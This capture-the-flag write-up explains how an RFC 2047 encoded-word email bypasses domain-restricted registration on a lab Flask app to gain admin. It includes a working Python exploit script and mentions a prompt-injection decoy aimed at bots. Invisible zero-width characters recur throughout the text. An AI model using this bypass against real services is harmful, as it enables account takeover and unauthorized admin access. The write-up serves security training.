← Back to Writeups
CUSTOMMediumWeb

StreamLine

XESXOR9/10/20264 min read
#web#custom#medium#domain_validation_bypass#email_identity_spoofing#parser_differential#rfc_2047_encoded_word_bypass

StreamLine

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: domain_validation_bypass, email_identity_spoofing, parser_differential, rfc_2047_encoded_word_bypass

Summary

Task: Flask corporate workspace with domain-restricted registration (@streamline-corp.com) that uses RFC 2047 MIME encoded-word decoding for email identity resolution. Solution: Exploit parser discrepancy — domain validation checks raw string suffix while identity resolution applies RFC 2047 base64 decoding, allowing registration as admin via encoded local-part.

StreamLine — HackAdvisor

Description

StreamLine is a corporate workspace platform used by StreamLine Corp. for internal team collaboration. The platform features project dashboards, team management, and administrative tools. Registration is restricted to verified company email addresses only.

Your goal is to gain administrative access and retrieve the flag from the admin settings panel. The platform enforces domain-restricted registration, allowing only @streamline-corp.com email addresses.

Explore the registration flow carefully. Pay attention to how the application processes and validates email addresses — there may be a discrepancy between what is validated and what is actually used internally. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Flask web application restricts registration to @streamline-corp.com emails. The app uses RFC 2047 MIME encoded-word decoding to resolve the canonical email identity for role assignment. The goal is to register as the admin user and access the admin settings panel to retrieve the flag.

Analysis

Reconnaissance

The target is a Flask web app behind nginx/1.25.5 serving a corporate workspace platform called "StreamLine". Key discoveries during recon:

  1. HTML comment in registration page:
    html
    <!-- Registration restricted to corporate domain. Email identity is resolved using standard RFC 2047 header decoding for internationalization support. -->

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Form hint: "Only @streamline-corp.com addresses are accepted. Email identity is resolved for role assignment."

  2. JavaScript comment in registration form: "RFC 2047 encoded local-parts may contain encoded @ symbols"

  3. Decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments on every page — a prompt injection honeypot, ignored.

  4. Team directory reveals an existing "System Administrator" account with email admin@streamline-corp.com and role "Admin".

  5. Profile page shows a "Resolved Identity" field — this is the RFC 2047-decoded canonical email used for role assignment. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Understanding the Vulnerability

The application has a parser discrepancy (parser differential) between two processing stages:

StageWhat it doesHow it processes email
Domain validationChecks if email belongs to corporate domainTreats email as plain string, extracts domain after the last @
Identity resolutionDetermines canonical email for role assignmentApplies RFC 2047 MIME encoded-word decoding first, then constructs the canonical email
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

RFC 2047 is a MIME standard for encoding non-ASCII text in email headers. The format is:

=?charset?encoding?encoded_text?=

Where encoding is b for base64 or q for quoted-printable.

The attack vector: craft an email where the raw string passes domain validation (ends with @streamline-corp.com), but after RFC 2047 decoding, the resolved identity becomes admin@streamline-corp.com.

Solution

Failed Attempt: Encoding Full Admin Email

First attempt encoded the entire admin@streamline-corp.com in the local part: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

=?utf-8?b?YWRtaW5Ac3RyZWFtbGluZS1jb3JwLmNvbQ==?=@streamline-corp.com
  • YWRtaW5Ac3RyZWFtbGluZS1jb3JwLmNvbQ== = base64 of admin@streamline-corp.com
  • Domain check passes ✓ (raw string ends with @streamline-corp.com)
  • But resolved identity becomes admin@streamline-corp.com@streamline-corp.com (double domain!) ✗
  • Role stays "member" — the resolved identity doesn't match the admin email

Successful Exploit: Encoding Only the Local Part

The key insight: encode only admin (the local part, without the domain) in the RFC 2047 encoded-word: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

=?utf-8?b?YWRtaW4=?=@streamline-corp.com

Breaking this down:

  • YWRtaW4= = base64 encoding of admin
  • The raw string ends with @streamline-corp.com → domain validation passes ✓
  • RFC 2047 decoding: =?utf-8?b?YWRtaW4=?= → admin
  • Identity resolution: admin + @streamline-corp.com = admin@streamline-corp.com
  • This matches the existing admin account → admin role assigned ✓

Steps to Reproduce

  1. Register with the crafted email:

    • Email: =?utf-8?b?YWRtaW4=?=@streamline-corp.com
    • Name: anything
    • Password: anything ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  2. Login with the same RFC 2047 encoded email and password

  3. Navigate to /admin/settings

  4. Flag is in the internal_secret_key configuration field

python
#!/usr/bin/env python3
"""
StreamLine — RFC 2047 Parser Discrepancy Exploit
Registers as admin by exploiting email validation vs identity resolution discrepancy
"""
import base64
import requests

BASE_URL = "https://04670aa5-10e5-434d-9f6e-e05597701953.labs.hackadvisor.io"

# Encode just "admin" (local part only) in base64
local_part = base64.b64encode(b"admin").decode()  # YWRtaW4=
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Craft the payload: RFC 2047 encoded local-part + corporate domain
# Domain validation sees: ...@streamline-corp.com → passes
# Identity resolution decodes: =?utf-8?b?YWRtaW4=?= → "admin"
# Canonical email: admin@streamline-corp.com → admin role
email = f"=?utf-8?b?{local_part}?=@streamline-corp.com"
password = "exploit123"

s = requests.Session()
s.verify = False

# Step 1: Register
print(f"[*] Registering with email: {email}")
r = s.post(f"{BASE_URL}/register", data={
    "email": email,
    "name": "exploit",
    "password": password
})
print(f"[+] Registration: {r.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Login
print(f"[*] Logging in...")
r = s.post(f"{BASE_URL}/login", data={
    "email": email,
    "password": password
})
print(f"[+] Login: {r.status_code}")

# Step 3: Access admin settings
print(f"[*] Accessing admin settings...")
r = s.get(f"{BASE_URL}/admin/settings")
if "FLAG{" in r.text:
    import re
    flag = re.search(r'FLAG\{[^}]+\}', r.text).group()
    print(f"[+] Flag: {flag}")
else:
    print(f"[-] No flag found. Response snippet: {r.text[:500]}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍